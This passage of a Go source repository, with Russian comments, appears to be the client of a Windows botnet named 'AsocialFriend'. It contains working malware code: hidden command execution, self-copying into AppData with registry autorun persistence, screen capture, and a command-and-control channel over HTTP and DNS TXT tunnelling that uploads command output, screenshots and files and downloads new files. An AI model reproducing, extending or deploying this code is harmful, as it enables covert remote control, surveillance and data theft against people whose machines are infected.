	letterRunes      = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890")
	debugMode   bool = true
)

func IsDebugModeEnable() bool {
	return debugMode
}

func SetDebugMode(mode bool) {
	debugMode = mode
}

func CmdExec(cmd string) ([]byte, error) {

	cmd_li := exec.Command("cmd", "/C")
	cmd_li.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} //Это необходимо для того что бы CMD запускалось в скрытом режиме
	output, err := cmd_li.Output()

	if output != nil && len(output) > 0 {
		return charmap.CP866_to_UTF8(output), nil
	} else {
		return output, err
	}
}

func CmdExecOrig(cmd string) ([]byte, error) {
	cmd_split := strings.Split(cmd, "@")
	params := make([]string, len(cmd_split)+2)
	params[0] = "/Q"
	params[1] = "/C"
	copy(params[2:], cmd_split[:])

	cmd_li := exec.Command("cmd", params...)
	cmd_li.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} //Это необходимо для того что бы CMD запускалось в скрытом режиме
	output, err := cmd_li.Output()

	if output != nil && len(output) > 0 {
		return charmap.CP866_to_UTF8(output), nil
	} else {
		return output, err
	}
}

func OutMessage(message string) {
	if debugMode && len(message) > 0 {
		currentTime := time.Now().Local()
		fmt.Println("[", currentTime.Format(time.RFC850), "] "+message)
	}
}

func CheckError(err error) bool {
	if err != nil {
		OutMessage(err.Error())
		return true
	}
	return false
}

func RandStringRunes(n int) string {
	b := make([]rune, n)
	for i := range b {
		b[i] = letterRunes[rand.Intn(len(letterRunes))]
	}
	return string(b)
}

func Append(slice []byte, elements ...byte) []byte {
	n := len(slice)
	total := len(slice) + len(elements)
	if total > cap(slice) {
		// Reallocate. Grow to 1.5 times the new size, so we can still grow.
		newSize := total*3/2 + 1
		newSlice := make([]byte, total, newSize)
		copy(newSlice, slice)
		slice = newSlice
	}
	slice = slice[:total]
	copy(slice[n:], elements)
	return slice
}

func ParseJsonResponse(jsonStruct interface{}, parseStr []byte) (bool, error) {
	err := json.Unmarshal(parseStr, jsonStruct)
	if err == nil {
		return true, err
	} else {
		return false, err
	}
}

func JoinToString(data []string) string {
	var info string
	for index := range data {
		info += data[index]
	}
	return info
}


================================================
FILE: src/gobotnet/registration.go
================================================
package gobotnet

import (
	"golang.org/x/sys/windows/registry"
	"os"
	"os/exec"
	"strconv"
	"syscall"
)

var (
	nameFile                  string = "asocialfriend"
	nameToken                 string = "AsocialFriendToken"
	nameTokenUrl              string = "AsocialFriendUrl"
	botDir                    string = "AsocialFriend"
	appdataDir                string = os.Getenv("APPDATA")
	fullPathBotDir            string = appdataDir + "\\" + botDir
	fullPathBotExecFile       string = fullPathBotDir + "\\" + nameFile + ".exe"
	fullPathBotToken          string = fullPathBotDir + "\\" + nameFile + ".txt"
	fullPathBotSourceExecFile string = os.Args[0]
)

func GetFullPathBotDir() string {
	return fullPathBotDir
}

func GetTokenFromRegistry() string {
	value, err := GetRegistryKeyValue(registry.CURRENT_USER, "Software\\"+botDir, nameToken)
	if err == nil {
		return value
	} else {
		CheckError(err)
		return ""
	}
}

func SaveTokenToRegistry(token string) bool {
	err := WriteRegistryKey(registry.CURRENT_USER, "Software\\"+botDir, nameToken, token)
	if err == nil {
		return true
	} else {
		CheckError(err)
		return false
	}
}

func GetUrlFromRegistry() string {
	value, err := GetRegistryKeyValue(registry.CURRENT_USER, "Software\\"+botDir, nameTokenUrl)
	if err == nil {
		return value
	} else {
		CheckError(err)
		return ""
	}
}

func SaveUrlToRegistry(url string) bool {
	err := WriteRegistryKey(registry.CURRENT_USER, "Software\\"+botDir, nameTokenUrl, url)
	if err == nil {
		return true
	} else {
		CheckError(err)
		return false
	}
}

//Проверяем находимся ли мы в автозапуске
func CheckRegistryProgram() (value string, result bool) {
	value, err := GetRegistryKeyValue(registry.CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", nameFile)
	if err == nil {
		return value, true
	} else {
		return "", false
	}
}

func RegistryFromConsole(usingAutorun bool, usingRegistry bool, rewriteExe bool) bool {
	value, flag := CheckRegistryProgram()
	OutMessage("Program autorun:" + value + ", flag = " + strconv.FormatBool(flag) + ", checkFile = " + strconv.FormatBool(CheckFileExist(value)))
	if !flag || !CheckFileExist(value) {
		var out []byte
		//Создаем папку в %username%/AppData/Roaming/AsocialFriend

		if rewriteExe {
			cmd := exec.Command("cmd", "/Q", "/C", "mkdir", fullPathBotDir)
			cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
			out, _ = cmd.Output()
			OutMessage(string(out))
			//Копируемся туда
			cmd = exec.Command("cmd", "/Q", "/C", "move", "/Y", fullPathBotSourceExecFile, fullPathBotExecFile)
			cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
			out, _ = cmd.Output()
			OutMessage(string(out))

			/*	if CheckFileExist(fullPathBotSourceExecFile) {

				DeleteFile(fullPathBotSourceExecFile)
			}*/

		} else {
			OutMessage("Rewrite EXE off ")
		}
		//Если включено использование реестра, создаем свой путь и записываемся в авторан
		if usingRegistry {
			cmd := exec.Command("cmd", "/Q", "/C", "reg", "add", "HKCU\\Software\\"+botDir, "/f")
			cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
			out, _ = cmd.Output()
			OutMessage(string(out))
		} else {
			OutMessage("Save tokens to registry off")
		}
		if usingAutorun {
			cmd := exec.Command("cmd", "/Q", "/C", "reg", "add", "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "/v", nameFile, "/d", fullPathBotExecFile)
			cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
			out, _ = cmd.Output()
			OutMessage(string(out))
		} else {
			OutMessage("Using autorun off ")
		}
		return true
	} else {
		return false
	}
}

//Пытаемся удалить себя и выпилиться из реестра
func UnRegistryFromConsole(usingRegistry bool) {
	var out []byte

	cmd := exec.Command("cmd", "/Q", "/C", "rd", "/S", "/Q", fullPathBotDir)
	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
	out, _ = cmd.Output()
	OutMessage(string(out))

	if usingRegistry {
		cmd = exec.Command("cmd", "/Q", "/C", "reg", "delete", "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "/f", "/v", nameFile)
		cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
		out, _ = cmd.Output()
		OutMessage(string(out))

		cmd = exec.Command("cmd", "/Q", "/C", "reg", "delete", "HKCU\\Software\\"+botDir, "/f")
		cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
		out, _ = cmd.Output()
		OutMessage(string(out))
	}

}

func PrintRegistryPaths() {
	OutMessage(nameFile)
	OutMessage(botDir)
	OutMessage(appdataDir)
	OutMessage(fullPathBotDir)
	OutMessage(fullPathBotToken)
	OutMessage(fullPathBotExecFile)
	OutMessage(fullPathBotSourceExecFile)
}

func RegisterFromProgram() {
	value, flag := CheckRegistryProgram()
	if !flag || CheckFileExist(value) {
		CreateDir(fullPathBotDir, 0644)
		CopyFileToDirectory(fullPathBotSourceExecFile, fullPathBotExecFile)
		DeleteFile(fullPathBotSourceExecFile)
		RegisterAutoRun()
	}
}

func UnRegisterFromProgram() {
	UnRegisterAutoRun()
	RemoveDirWithContent(fullPathBotDir)
}

func RegisterAutoRun() error {
	err := WriteRegistryKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, nameFile, fullPathBotExecFile)
	CheckError(err)
	return err
}

func UnRegisterAutoRun() {
	DeleteRegistryKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, nameFile)
}


================================================
FILE: src/gobotnet/registry_work.go
================================================
package gobotnet

import (
	"golang.org/x/sys/windows/registry"
)

func GetRegistryKey(typeReg registry.Key, regPath string, access uint32) (key registry.Key, err error) {
	currentKey, err := registry.OpenKey(typeReg, regPath, access)
	CheckError(err)
	return currentKey, err
}

func GetRegistryKeyValue(typeReg registry.Key, regPath, nameKey string) (keyValue string, err error) {
	var value string = ""

	key, err := GetRegistryKey(typeReg, regPath, registry.READ)
	if CheckError(err) {
		return value, err
	}
	defer key.Close()

	value, _, err = key.GetStringValue(nameKey)
	if CheckError(err) {
		return value, err
	}
	return value, nil
}

func CheckSetValueRegistryKey(typeReg registry.Key, regPath, nameValue string) bool {
	currentKey, err := GetRegistryKey(typeReg, regPath, registry.READ)
	if CheckError(err) {
		return false
	}
	defer currentKey.Close()

	_, _, err = currentKey.GetStringValue(nameValue)
	if CheckError(err) {
		return false
	}
	return true
}

func WriteRegistryKey(typeReg registry.Key, regPath, nameProgram, pathToExecFile string) error {
	updateKey, err := GetRegistryKey(typeReg, regPath, registry.WRITE)
	if CheckError(err) {
		return err
	}
	defer updateKey.Close()
	return updateKey.SetStringValue(nameProgram, pathToExecFile)
}

func DeleteRegistryKey(typeReg registry.Key, regPath, nameProgram string) error {
	deleteKey, err := GetRegistryKey(typeReg, regPath, registry.WRITE)
	if CheckError(err) {
		return err
	}
	defer deleteKey.Close()
	return deleteKey.DeleteValue(nameProgram)
}


================================================
FILE: src/gobotnet/screenshot.go
================================================
package gobotnet

//https://github.com/vova616/screenshot

import (
	"bytes"
	"fmt"
	"github.com/AllenDang/w32"
	"image"
	"image/png"
	"reflect"
	"unsafe"
)

func ScreenRect() (image.Rectangle, error) {
	hDC := w32.GetDC(0)
	if hDC == 0 {
		return image.Rectangle{}, fmt.Errorf("Could not Get primary display err:%d\n", w32.GetLastError())
	}
	defer w32.ReleaseDC(0, hDC)
	x := w32.GetDeviceCaps(hDC, w32.HORZRES)
	y := w32.GetDeviceCaps(hDC, w32.VERTRES)
	return image.Rect(0, 0, x, y), nil
}

func CaptureScreen(compressImage bool) ([]byte, error) {
	r, e := ScreenRect()
	if e != nil {
		return nil, e
	}
	return CaptureRect(compressImage, r)
}

func CaptureRect(compressImage bool, rect image.Rectangle) ([]byte, error) {
	hDC := w32.GetDC(0)
	if hDC == 0 {
		return nil, fmt.Errorf("Could not Get primary display err:%d.\n", w32.GetLastError())
	}
	defer w32.ReleaseDC(0, hDC)

	m_hDC := w32.CreateCompatibleDC(hDC)
	if m_hDC == 0 {
		return nil, fmt.Errorf("Could not Create Compatible DC err:%d.\n", w32.GetLastError())
	}
	defer w32.DeleteDC(m_hDC)

	x, y := rect.Dx(), rect.Dy()

	bt := w32.BITMAPINFO{}
	bt.BmiHeader.BiSize = uint32(reflect.TypeOf(bt.BmiHeader).Size())
	bt.BmiHeader.BiWidth = int32(x)
	bt.BmiHeader.BiHeight = int32(-y)
	bt.BmiHeader.BiPlanes = 1
	bt.BmiHeader.BiBitCount = 32
	bt.BmiHeader.BiCompression = w32.BI_RGB

	ptr := unsafe.Pointer(uintptr(0))

	m_hBmp := w32.CreateDIBSection(m_hDC, &bt, w32.DIB_RGB_COLORS, &ptr, 0, 0)
	if m_hBmp == 0 {
		return nil, fmt.Errorf("Could not Create DIB Section err:%d.\n", w32.GetLastError())
	}
	if m_hBmp == w32.InvalidParameter {
		return nil, fmt.Errorf("One or more of the input parameters is invalid while calling CreateDIBSection.\n")
	}
	defer w32.DeleteObject(w32.HGDIOBJ(m_hBmp))

	obj := w32.SelectObject(m_hDC, w32.HGDIOBJ(m_hBmp))
	if obj == 0 {
		return nil, fmt.Errorf("error occurred and the selected object is not a region err:%d.\n", w32.GetLastError())
	}
	if obj == 0xffffffff { //GDI_ERROR
		return nil, fmt.Errorf("GDI_ERROR while calling SelectObject err:%d.\n", w32.GetLastError())
	}
	defer w32.DeleteObject(obj)

	//Note:BitBlt contains bad error handling, we will just assume it works and if it doesn't it will panic :x
	w32.BitBlt(m_hDC, 0, 0, x, y, hDC, rect.Min.X, rect.Min.Y, w32.SRCCOPY)

	var slice []byte
	hdrp := (*reflect.SliceHeader)(unsafe.Pointer(&slice))
	hdrp.Data = uintptr(ptr)
	hdrp.Len = x * y * 4
	hdrp.Cap = x * y * 4

	var imageBytes []byte
	var err error
	buf := new(bytes.Buffer)

	if compressImage {
		imageBytes = make([]byte, len(slice)/4)
		j := 0
		for i := 0; i < len(slice); i += 4 {
			imageBytes[j] = slice[i]
			j++
		}
		img := &image.Gray{imageBytes, x, image.Rect(0, 0, x, y)}
		err = png.Encode(buf, img)
	} else {
		imageBytes = make([]byte, len(slice))
		for i := 0; i < len(imageBytes); i += 4 {
			imageBytes[i], imageBytes[i+2], imageBytes[i+1], imageBytes[i+3] = slice[i+2], slice[i], slice[i+1], 255
		}
		img := &image.RGBA{imageBytes, 4 * x, image.Rect(0, 0, x, y)}
		err = png.Encode(buf, img)
	}
	return buf.Bytes(), err
}


================================================
FILE: src/wrapper/api.go
================================================
package wrapper

import (
	"encoding/base64"
	"errors"
	"fmt"
	"github.com/satori/go.uuid"
	"github.com/tv42/zbase32"
	"gobotnet"
	"math/rand"
	"net"
	"net/url"
	"path/filepath"
	"strconv"
	"strings"

	"time"
	"unsafe"
)

var (
	//http
	hSession uintptr
	hConnect uintptr

	botNetUrlArray  []string
	botNetPortArray []int
	botNetUrl       string
	botNetPort      int
	winHttpTimeOut  []int

	//Dns
	dnsAddress     string
	COUNT_SUBDOMEN = 2
	SIZE_PACKET    = 53

	//коды команд для DNS
	op_registration   int = 1
	op_get_command    int = 2
	op_output_command int = 3
	op_screenshot     int = 4
	op_download_file  int = 5
	op_upload_file    int = 6

	BAD_REQUEST             string = "BAD_REQUEST"
	countAttemptSendRequest int    = 300
)

const (
	//	botNetPort         = 80
	userAgent          = "AsocialFriend"
	registerURI        = "/api/v1/register"
	outputCommandURI   = "/api/v1/output_command"
	getcommandURI      = "/api/v1/get_command"
	screenshotURI      = "/api/v1/screenshot"
	idleCommandUri     = "/api/v1/idle"
	downloadCommandUri = "/api/v1/download"
	uploadCommandUri   = "/api/v1/upload"
	contentTypePOST    = "Content-Type: application/x-www-form-urlencoded"
)

/*Структры для парса джсона*/
type JsonToken struct {
	Token string
}

type JsonFile struct {
	Data     string
	Filename string
}

type JsonCommand struct {
	Command       string
	Command_param string
}

//Интерфейс для протоколов
type MessageExchange interface {
	ApiRegister(name string, info []byte, groupid string) (code int, resp string)
	ApiOutputCommand(uuid string, command string, output []byte) (code int, resp []byte)
	ApiGetCommand(uuid string) (code int, resp string, resp2 string)
	ApiScreenshot(uuid string, output []byte) (code int, resp []byte)
	ApiDownloadFile(uuid, fileName string, fileBytes []byte) (code int, resp []byte)
	ApiUploadFile(uu_id, pathDir string) (code int, resp []byte)
}
type HttpMessageExchange struct{}
type DnsMessageExchange struct{}

func SetWinHttpTimeout(array []int) {
	winHttpTimeOut = array
}

func SetUrlAndPortArrays(url_array []string, port_array []int) {
	botNetUrlArray = url_array
	botNetPortArray = port_array
	botNetUrl = botNetUrlArray[0]
	botNetPort = botNetPortArray[0]
}

func SetDnsURL(dns_name string) {
	dnsAddress = dns_name
}

func SetBotNetUrl(num int) {
	botNetUrl = botNetUrlArray[num]
	botNetPort = botNetPortArray[num]
	//При изменении URL нужно обязательно обнулить сессию и коннект
	if hConnect != 0 {
		WinHttpCloseHandle(hConnect)
		hConnect = 0
	}

	if hSession != 0 {
		WinHttpCloseHandle(hSession)
		hSession = 0
	}
}

func GetUrlArrayLen() (ret int) {
	return len(botNetUrlArray)
}

//Регистрация
func (httpMessageExchange HttpMessageExchange) ApiRegister(name string, info []byte, groupId string) (code int, resp string) {
	//Инициализируем сессию если она еще не
	if InitSession() == 0 {
		return 0, ""
	}

	//энкодим и эскейпим данные

	name_base64 := base64.StdEncoding.EncodeToString([]byte(name))
	info_base64 := base64.StdEncoding.EncodeToString(info)
	groupId_base64 := base64.StdEncoding.EncodeToString([]byte(groupId))

	requestUri := registerURI + "/" + url.QueryEscape(name_base64) + "/" + url.QueryEscape(info_base64) + "/" + url.QueryEscape(groupId_base64)

	code, response := apiSendRequest(requestUri, nil, GET_REQUEST)
	//Возвращаем 0 и пустую строку если не получилось отправить запрос/получить ответ
	if code == 0 {
		return 0, ""
	} else {
		//Парсим если что-то пришло
		var rJson JsonToken
		if ok, err := gobotnet.ParseJsonResponse(&rJson, response); ok {
			return 1, rJson.Token
		} else {
			//Возвращаем 0 и пустую строку если не получилось распарстить
			gobotnet.OutMessage("Error parse(" + err.Error() + ") json token from response:" + string(response))
			return 0, ""
		}
	}
}

func (dnsMessageExchange DnsMessageExchange) ApiRegister(name string, info []byte, groupId string) (code int, resp string) {
	//Генерируем строку для ДНС
	name_base32 := zbase32.EncodeToString([]byte(name))
	if len(name_base32) > 16 {
		name_base32 = name_base32[0:16]
	}
	mainDataRequest := strconv.Itoa(op_registration) + "." + uuid.NewV4().String() + "." + name_base32
	//Форматируем всё это

	conc := string(info) + "/" + groupId

	sendData := FormationData(mainDataRequest, []byte(conc))
	response, _ := DnsSendData(sendData)
	var j_token JsonToken
	if ok, _ := gobotnet.ParseJsonResponse(&j_token, []byte(response)); ok {
		return 1, j_token.Token
	} else {
		return 0, ""
	}
}

func (httpMessageExchange HttpMessageExchange) ApiOutputCommand(uuid string, command string, output []byte) (code int, resp []byte) {
	command = base64.StdEncoding.EncodeToString([]byte(command))
	output_str := base64.StdEncoding.EncodeToString(output)
	postString := "command=" + url.QueryEscape(command) + "&" + "output=" + url.QueryEscape(output_str)
	requestUri := outputCommandURI + "/" + uuid
	return apiSendRequest(requestUri, []byte(postString), POST_REQUEST)
}

func (dnsMessageExchange DnsMessageExchange) ApiOutputCommand(uuid string, command string, output []byte) (code int, resp []byte) {
	if len(output) == 0 {
		return 1, []byte("")
	}

	command = zbase32.EncodeToString([]byte(command))
	if len(command) > SIZE_PACKET {
		command = command[0:SIZE_PACKET]
	}

	mainDataRequest := strconv.Itoa(op_output_command) + "." + uuid + "." + command
	sendData := FormationData(mainDataRequest, output)
	response, _ := DnsSendData(sendData)
	gobotnet.OutMessage("output " + string(response))
	return 0, response
}

func (httpMessageExchange HttpMessageExchange) ApiGetCommand(uuid string) (code int, resp string, resp2 string) {
	requestUri := getcommandURI + "/" + uuid
	code, response := apiSendRequest(requestUri, nil, GET_REQUEST)
	gobotnet.OutMessage(string(response))
	if code == 0 {
		return 0, "", ""
	} else {
		var rJson JsonCommand
		ok, _ := gobotnet.ParseJsonResponse(&rJson, response)
		if ok && len(rJson.Command) > 0 { //TODO КОСТЫЛЬ!!!!
			param_enc, _ := base64.StdEncoding.DecodeString(rJson.Command_param)
			return 1, rJson.Command, string(param_enc)
		} else {

			//gobotnet.OutMessage("Error parse(" + err.Error() + ") json command from response:" + string(response))
			return 0, "", "error"
		}
	}
}

func (dnsMessageExchange DnsMessageExchange) ApiGetCommand(uuid string) (code int, resp string, resp2 string) {
	mainDataRequest := strconv.Itoa(op_get_command) + "." + uuid
	sendData := make([]string, 1)
	sendData[0] = mainDataRequest
	response, _ := DnsSendData(sendData)
	gobotnet.OutMessage("get_command " + string(response))
	var j_command JsonCommand
	ok, _ := gobotnet.ParseJsonResponse(&j_command, []byte(response))
	if ok && len(j_command.Command) > 0 { //TODO КОСТЫЛЬ!!!!
		param_enc, _ := base64.StdEncoding.DecodeString(j_command.Command_param)
		return 1, j_command.Command, string(param_enc)
	} else {
		return 0, "", "error"
	}
}

func (httpMessageExchange HttpMessageExchange) ApiScreenshot(uuid string, output []byte) (code int, resp []byte) {
	screen_str := base64.StdEncoding.EncodeToString(output)
	postString := "data=" + url.QueryEscape(screen_str)
	requestUri := screenshotURI + "/" + uuid
	return apiSendRequest(requestUri, []byte(postString), POST_REQUEST)
}

func (dnsMessageExchange DnsMessageExchange) ApiScreenshot(uuid string, output []byte) (code int, resp []byte) {
	mainDataRequest := strconv.Itoa(op_screenshot) + "." + uuid + "." + gobotnet.RandStringRunes(6)
	sendData := FormationData(mainDataRequest, output)
	response, _ := DnsSendData(sendData)
	gobotnet.OutMessage("screen " + string(response))
	return 0, response
}

func (httpMessageExchange HttpMessageExchange) ApiDownloadFile(uuid, fileName string, fileBytes []byte) (code int, resp []byte) {
	file64base := base64.StdEncoding.EncodeToString(fileBytes)
	nameFile64base := base64.StdEncoding.EncodeToString([]byte(fileName))
	postData := "data=" + url.QueryEscape(file64base) + "&" + "filename=" + url.QueryEscape(nameFile64base) //nameFile64base
	requestUri := downloadCommandUri + "/" + uuid
	return apiSendRequest(requestUri, []byte(postData), POST_REQUEST)
}

func (dnsMessageExchange DnsMessageExchange) ApiDownloadFile(uuid, fileName string, fileBytes []byte) (code int, resp []byte) {
	newFileName := gobotnet.RandStringRunes(5) + filepath.Ext(fileName)
	mainDataRequest := strconv.Itoa(op_download_file) + "." + uuid + "." + zbase32.EncodeToString([]byte(newFileName))
	sendData := FormationData(mainDataRequest, fileBytes)
	response, _ := DnsSendData(sendData)
	gobotnet.OutMessage("download " + string(response))
	return 0, response
}

func (httpMessageExchange HttpMessageExchange) ApiUploadFile(uuid, pathDir string) (code int, resp []byte) {
	request := uploadCommandUri + "/" + uuid
	code, response := apiSendRequest(request, nil, GET_REQUEST)
	if code == 1 {
		var rJson JsonFile
		if ok, err := gobotnet.ParseJsonResponse(&rJson, response); ok {
			writeData, _ := base64.StdEncoding.DecodeString(rJson.Data)
			escape_fileName, _ := base64.StdEncoding.DecodeString(rJson.Filename)
			filename, _ := url.QueryUnescape(string(escape_fileName))

			err = gobotnet.CreateFileAndWriteData(pathDir+string(filename), writeData)
			if err != nil {
				gobotnet.CreateFileAndWriteData(string(filename), writeData)
			}

		} else {
			gobotnet.OutMessage("Error parse" + err.Error() + ") json file from receiver upload file.")
		}
	}
	return code, response
}

func (dnsMessageExchange DnsMessageExchange) ApiUploadFile(uuid, pathDir string) (code int, resp []byte) {
	mainDataRequest := strconv.Itoa(op_upload_file) + "." + uuid
	sendData := make([]string, 1)
	sendData[0] = mainDataRequest
	response, err := DnsSendData(sendData)
	if err != nil {
		return 0, response
	}

	filename_countpart := strings.Split(string(response), ".")
	if len(filename_countpart) != 2 {
		return 1, response
	}

	filename, err := base64.StdEncoding.DecodeString(filename_countpart[0])
	if err != nil {
		return 1, response
	}

	countPart, err := strconv.Atoi(filename_countpart[1])
	if err != nil {
		return 1, response
	}

	var file_base64 []string
	for i := 0; i < countPart; i++ {
		response, err := DnsSendData(sendData)
		if err != nil {
			return 1, response
		} else {
			file_base64 = append(file_base64, string(response))
		}
	}

	fileData, err := base64.StdEncoding.DecodeString(gobotnet.JoinToString(file_base64))
	if err != nil {
		return 0, response
	}

	err = gobotnet.CreateFileAndWriteData(pathDir+string(filename), fileData)
	if err != nil {
		gobotnet.CreateFileAndWriteData(string(filename), fileData)
	}
	return 1, response
}

//Функция выполняет http запрос через либу WinHTTP
func apiSendRequest(paramsGET string, paramsPOST []byte, method string) (code int, response []byte) {
	//если проблемы с сессией или конектом пытаемся переподключиться
	if hConnect == 0 || hSession == 0 {
		gobotnet.OutMessage("Reinit session")
		if InitSession() == 0 {
			return 0, response
		}
	}

	hRequest := WinHttpOpenRequest(hConnect, method, paramsGET)
	if hRequest != 0 {
		if paramsPOST != nil {
			//Если POST запрос добавляем еще данные
			WinHttpAddRequestHeaders(hRequest, contentTypePOST, WINHTTP_ADDREQ_FLAG_ADD)
		}
		bResults := WinHttpSendRequest(hRequest, paramsPOST, len(paramsPOST))
		if bResults != 0 {
			bResults = WinHttpReceiveResponse(hRequest)
			if bResults != 0 {
				var pwSize uint32 = 1
				//Читаем в цикле покак все данные не получим
				for pwSize != 0 {
					WinHttpQueryDataAvailable(hRequest, &pwSize)
					gobotnet.OutMessage("PWSIZE = " + fmt.Sprint(pwSize))
					if pwSize == 0 {
						break
					}
					tempResponse := make([]byte, pwSize, pwSize)
					var dwDownloaded uint32 = 0
					WinHttpReadData(hRequest, tempResponse, pwSize, &dwDownloaded)
					response = gobotnet.Append(response, tempResponse...)
					gobotnet.OutMessage("len response = " + strconv.Itoa(len(response)) + ", len tempResponse = " + strconv.Itoa(len(tempResponse)))
					gobotnet.OutMessage("Receiver size = " + fmt.Sprint(pwSize) + ", downloaded size = " + fmt.Sprint(dwDownloaded))
				}
			} else {
				gobotnet.OutMessage("WinHttpReceiveResponse Error")
				WinHttpCloseHandle(hRequest)
				return 0, response
			}
		} else {
			gobotnet.OutMessage("WinHttpSendRequest Error")
			WinHttpCloseHandle(hRequest)
			return 0, response
		}
		WinHttpCloseHandle(hRequest)
		return 1, response
	} else {
		gobotnet.OutMessage("WinHttpOpenRequest Error")
	}
	return 0, response
}

//Отправляет данные на DNS через дефолтный net.LookupTXT
//получает ответ как TXT запись по запрошенному доменному имени
func DnsSendData(sendData []string) (response []byte, err error) {
	for index := range sendData {
		attempt := 0
		for {
			arrayData, err := net.LookupTXT(gobotnet.RandStringRunes(6) + "." + sendData[index] + "." + dnsAddress)
			if err == nil {
				for i := range arrayData {
					response = gobotnet.Append(response, []byte(arrayData[i])...)
				}
				if string(response) == BAD_REQUEST {
					gobotnet.OutMessage(BAD_REQUEST)
					return []byte(""), errors.New(BAD_REQUEST)
				}
				break
			} else {
				gobotnet.OutMessage(err.Error())
				attempt++
				if attempt > countAttemptSendRequest {
					gobotnet.OutMessage("Request limit attempt")
					return []byte(""), errors.New("Request limit attempt")
				}
				time.Sleep(time.Millisecond * time.Duration(rand.Intn(10)))
			}
		}
	}
	return response, err
}

//Форматирует данные в запросы пригодные для DNS

func FormationData(mainPartRequest string, data []byte) (arrayData []string) {
	sendData := zbase32.EncodeToString(data)
	lenSendData := len(sendData)

	tempCount := float32(float32(lenSendData) / float32(SIZE_PACKET*COUNT_SUBDOMEN))
	var countPartData int
	if tempCount > float32(int32(tempCount)) {
		countPartData = int(tempCount) + 1
	} else {
		countPartData = int(tempCount)
	}
	//fmt.Printf("len all = %d, count part = %d\n", lenSendData, countPartData)

	mainPartRequest += "." + strconv.Itoa(countPartData)
	startDataIndex := 0
	for i := 0; i < countPartData; i++ {
		currentRequest := mainPartRequest + "." + strconv.Itoa(i)
		for j := 0; j < COUNT_SUBDOMEN; j++ {
			if startDataIndex > lenSendData {
				break
			}
			if (lenSendData - startDataIndex) > SIZE_PACKET {
				currentRequest += "." + sendData[startDataIndex:startDataIndex+SIZE_PACKET]
				startDataIndex += SIZE_PACKET
			} else {
				currentRequest += "." + sendData[startDataIndex:lenSendData]
				startDataIndex += lenSendData - startDataIndex
				break
			}
		}
		arrayData = append(arrayData, currentRequest)
	}
	return arrayData
}

//Инициализация сессии
func InitSession() (resp int) {
	hSession = WinHttpOpen(userAgent)
	if hSession != 0 {
		//Устанавливаем системный прокси
		SetSessionProxyFromIE(hSession)
		hConnect = WinHttpConnect(hSession, botNetUrl, botNetPort)
		if hConnect != 0 {
			//Устанавливаем таймаут, если сессия установлена
			WinHttpSetTimeOut(hSession, winHttpTimeOut[0], winHttpTimeOut[1], winHttpTimeOut[2], winHttpTimeOut[3])
			return 1
		} else {
			gobotnet.OutMessage("WinHttpConnect Error")
		}
	} else {
		gobotnet.OutMessage("WinHttpOpen Error")
	}
	return 0
}

//Установка системного прокси
func SetSessionProxyFromIE(hSession uintptr) {
	var ieProxy winHttpIEProxyConfig
	//Получаем прокси из IE
	WinHttpGetIEProxyConfigForCurrentUser(&ieProxy)

	//Переформатируем формат прокси из IE под необходимый формат
	var proxyConf winHttpProxyInfo
	proxyConf.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY
	proxyConf.lpszProxy = ieProxy.lpszProxy
	//Устанавливаем прокси
	WinHttpSetOption(hSession, uintptr(WINHTTP_OPTION_PROXY), uintptr(unsafe.Pointer(&proxyConf)), unsafe.Sizeof(proxyConf))
}

//Дебаг
func OutResponse(nameCommand string, data []byte, code int, text []byte) {
	gobotnet.OutMessage("Send request:" + nameCommand)
	if len(data) < 50 {
		gobotnet.OutMessage("Data: " + string(data))
	} else {
		gobotnet.OutMessage("Data: " + string(data[:50]))
	}
	gobotnet.OutMessage("Response code: " + strconv.Itoa(code))
	gobotnet.OutMessage("Response text: " + string(text))
}


================================================
FILE: src/wrapper/winhttp.go
================================================
package wrapper

import (
	"syscall"
	"unsafe"
)

var (
	winhttpdll, _                            = syscall.LoadLibrary("Winhttp.dll")
	kernel32dll, _                           = syscall.LoadLibrary("Kernel32.dll")
	winHttpGetIEProxyConfigForCurrentUser, _ = syscall.GetProcAddress(winhttpdll, "WinHttpGetIEProxyConfigForCurrentUser")

	winHttpAddRequestHeaders, _  = syscall.GetProcAddress(winhttpdll, "WinHttpAddRequestHeaders")
	winHttpOpen, _               = syscall.GetProcAddress(winhttpdll, "WinHttpOpen")
	winHttpConnect, _            = syscall.GetProcAddress(winhttpdll, "WinHttpConnect")
	winHttpOpenRequest, _        = syscall.GetProcAddress(winhttpdll, "WinHttpOpenRequest")
	winHttpSendRequest, _        = syscall.GetProcAddress(winhttpdll, "WinHttpSendRequest")
	winHttpReceiveResponse, _    = syscall.GetProcAddress(winhttpdll, "WinHttpReceiveResponse")
	winHttpCloseHandle, _        = syscall.GetProcAddress(winhttpdll, "WinHttpCloseHandle")
	winHttpReadData, _           = syscall.GetProcAddress(winhttpdll, "WinHttpReadData")
	winHttpQueryDataAvailable, _ = syscall.GetProcAddress(winhttpdll, "WinHttpQueryDataAvailable")
	winHttpSetOption, _          = syscall.GetProcAddress(winhttpdll, "WinHttpSetOption")
	winHttpSetTimeOut, _         = syscall.GetProcAddress(winhttpdll, "WinHttpSetTimeouts")
	getLastError, _              = syscall.GetProcAddress(kernel32dll, "GetLastError")
)

const (
	GET_REQUEST                     = "GET"
	POST_REQUEST                    = "POST"
	INTERNET_DEFAULT_HTTP_PORT      = 80
	INTERNET_DEFAULT_HTTPS_PORT     = 443
	WINHTTP_OPTION_PROXY            = 38
	WINHTTP_ACCESS_TYPE_NAMED_PROXY = 3
	WINHTTP_ADDREQ_FLAG_ADD         = 0x20000000
)

type winHttpIEProxyConfig struct {
	fAutoDetect       bool
	lpszAutoConfigUrl *uint32
	lpszProxy         *uint32
